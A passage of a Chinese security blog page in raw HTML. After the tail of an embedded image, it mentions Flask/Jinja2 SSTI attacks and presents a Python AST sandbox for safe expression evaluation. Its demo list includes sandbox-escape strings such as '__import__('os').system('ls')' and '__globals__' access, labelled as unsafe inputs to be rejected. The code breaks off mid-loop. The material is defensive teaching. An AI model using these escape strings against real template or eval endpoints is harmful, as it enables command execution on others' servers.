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" alt=image.png referrerpolicy=no-referrer layer-index=1></p>
<p blockindex=17>这个就是flask的jinja2的ssti经典攻击思路了<br>
其实开发者还可以使用AST沙箱来进行防御比如:</p>
<pre blockindex=18><code class="hljs language-py"><span class=hljs-keyword>import</span> ast
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>SafeEvaluator</span>(<span class=hljs-params>ast.NodeVisitor</span>):</span>
<span class=hljs-string>"""
AST 节点访问器,用于检查表达式的安全性。
禁止所有属性访问(如 obj.attr)以及其他潜在危险的操作。
"""</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>__init__</span>(<span class=hljs-params>self</span>):</span>
<span class=hljs-built_in>super</span>().__init__()
self.allowed_nodes = (
ast.Expression,
ast.Call,
ast.Name,
ast.Load,
ast.BinOp,
ast.UnaryOp,
ast.Constant, <span class=hljs-comment># 对于 Python 3.8 及更高版本</span>
ast.<span class=hljs-type>List</span>,
ast.<span class=hljs-type>Tuple</span>,
ast.<span class=hljs-type>Dict</span>,
ast.BoolOp,
ast.Compare,
ast.IfExp,
)
self.allowed_operators = (
ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Mod,
ast.Pow, ast.BitXor, ast.USub, ast.UAdd,
ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.And, ast.Or, ast.Not,
)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>isinstance</span>(node, self.allowed_nodes):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"不允许的节点类型: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(node).__name__}</span>"</span>)
<span class=hljs-keyword>return</span> <span class=hljs-built_in>super</span>().visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_Attribute</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-comment># 禁止属性访问</span>
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>"禁止属性访问"</span>)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_Call</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> <span class=hljs-built_in>isinstance</span>(node.func, ast.Attribute):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>"禁止通过方法调用执行函数"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_Name</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> node.<span class=hljs-built_in>id</span>.startswith(<span class=hljs-string>"__"</span>):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"禁止访问名称: <span class=hljs-subst>{node.<span class=hljs-built_in>id</span>}</span>"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_BinOp</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>isinstance</span>(node.op, self.allowed_operators):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"不允许的操作符: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(node.op).__name__}</span>"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_UnaryOp</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>isinstance</span>(node.op, self.allowed_operators):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"不允许的操作符: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(node.op).__name__}</span>"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_BoolOp</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>isinstance</span>(node.op, self.allowed_operators):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"不允许的布尔操作符: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(node.op).__name__}</span>"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_Compare</span>(<span class=hljs-params>self, node</span>):</span>
<span class=hljs-keyword>for</span> op <span class=hljs-keyword>in</span> node.ops:
<span class=hljs-keyword>if</span> <span class=hljs-keyword>not</span> <span class=hljs-built_in>isinstance</span>(op, self.allowed_operators):
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"不允许的比较操作符: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(op).__name__}</span>"</span>)
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>visit_IfExp</span>(<span class=hljs-params>self, node</span>):</span>
self.generic_visit(node)
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>secure_eval</span>(<span class=hljs-params>expression, context=<span class=hljs-literal>None</span></span>):</span>
<span class=hljs-string>"""
安全地评估表达式,禁止属性访问和其他危险操作。
:param expression: 要评估的表达式字符串
:param context: 提供给表达式的上下文(变量和函数)
:return: 表达式的计算结果
"""</span>
<span class=hljs-keyword>if</span> context <span class=hljs-keyword>is</span> <span class=hljs-literal>None</span>:
context = {}
<span class=hljs-comment># 解析表达式的 AST</span>
<span class=hljs-keyword>try</span>:
tree = ast.parse(expression, mode=<span class=hljs-string>'eval'</span>)
<span class=hljs-keyword>except</span> SyntaxError <span class=hljs-keyword>as</span> e:
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"无效的表达式: <span class=hljs-subst>{e}</span>"</span>)
<span class=hljs-comment># 检查 AST 的安全性</span>
SafeEvaluator().visit(tree)
<span class=hljs-comment># 编译并安全地执行表达式</span>
<span class=hljs-keyword>try</span>:
compiled = <span class=hljs-built_in>compile</span>(tree, filename=<span class=hljs-string>"&lt;safe_eval&gt;"</span>, mode=<span class=hljs-string>"eval"</span>)
<span class=hljs-keyword>return</span> <span class=hljs-built_in>eval</span>(compiled, {<span class=hljs-string>"__builtins__"</span>: {}}, context)
<span class=hljs-keyword>except</span> Exception <span class=hljs-keyword>as</span> e:
<span class=hljs-keyword>raise</span> ValueError(<span class=hljs-string>f"表达式评估出错: <span class=hljs-subst>{e}</span>"</span>)
<span class=hljs-comment># 示例使用</span>
<span class=hljs-keyword>if</span> __name__ == <span class=hljs-string>"__main__"</span>:
context = {
<span class=hljs-string>"name"</span>: <span class=hljs-string>"Alice"</span>,
<span class=hljs-string>"age"</span>: <span class=hljs-number>25</span>,
<span class=hljs-string>"greet"</span>: <span class=hljs-keyword>lambda</span> name: <span class=hljs-string>f"Hello, <span class=hljs-subst>{name}</span>!"</span>
}
expressions = [
<span class=hljs-string>"greet(name)"</span>, <span class=hljs-comment># 安全: 调用允许的函数</span>
<span class=hljs-string>"age + 5"</span>, <span class=hljs-comment># 安全: 简单计算</span>
<span class=hljs-string>"__import__('os').system('ls')"</span>, <span class=hljs-comment># 不安全: 尝试访问 __import__</span>
<span class=hljs-string>"name.__class__"</span>, <span class=hljs-comment># 不安全: 尝试属性访问</span>
<span class=hljs-string>"greet.__globals__['os'].system('ls')"</span>, <span class=hljs-comment># 不安全</span>
]
<span class=hljs-keyword>for</span> expr <span class=hljs-keyword>in</span> expressions:
<span class=hljs-keyword>try</span>:
result = secure_eval(expr, context)
<span class=hljs-built_in>print</span>(<span class=hljs-string>f"表达式 '<span class=hljs-subst>{expr}</span>' 的结果: <span class=hljs-subst>{result}</span>"</span>)
<span class=hljs-keyword>except</span> ValueError <span class=hljs-keyword>as</span> ve:
